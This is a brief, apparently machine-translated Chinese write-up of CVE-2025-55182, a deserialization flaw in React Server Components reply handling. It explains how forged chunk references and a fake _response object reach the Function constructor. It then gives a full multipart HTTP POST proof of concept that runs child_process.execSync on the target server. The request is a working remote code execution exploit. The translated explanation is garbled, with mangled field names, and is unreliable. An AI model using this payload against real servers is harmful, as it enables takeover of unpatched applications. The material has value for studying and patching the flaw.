核心思想
使用[@](https://github.com/facebook/react/blob/7aa5dda3b3e4c2baa905a59b922ae7ec14734b24/packages/react-server/src/ReactFlightReplyServer.js#L921 "@")反序列化获取Chunk引用,并将其Chunk.prototype.then作为then根对象的属性。然后在等待/解析时,then将以根对象作为参数调用该方法this。chunk
通过将 ` statusto` 设置为 `true` RESOLVED_MODEL,我们现在可以使用initializeModelChunk完全由我们控制的伪代码块来调用它。这尤其有用,因为 `to` 本身及其相关函数会调用chunk._response对象中的许多方法。
开发
目标是触发Blob 反序列化,它会调用response._formData.get带有有效载荷的函数response._prefix并直接返回结果。因此,我们只需要将 `is_response_name` 设置response._formData.get为Function`true`,这样返回的结果就是一个包含攻击者控制代码的函数,然后then再次将其设置为 `is_response_name`,使其执行。
CVE-2025-55182.http
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
|---|
| |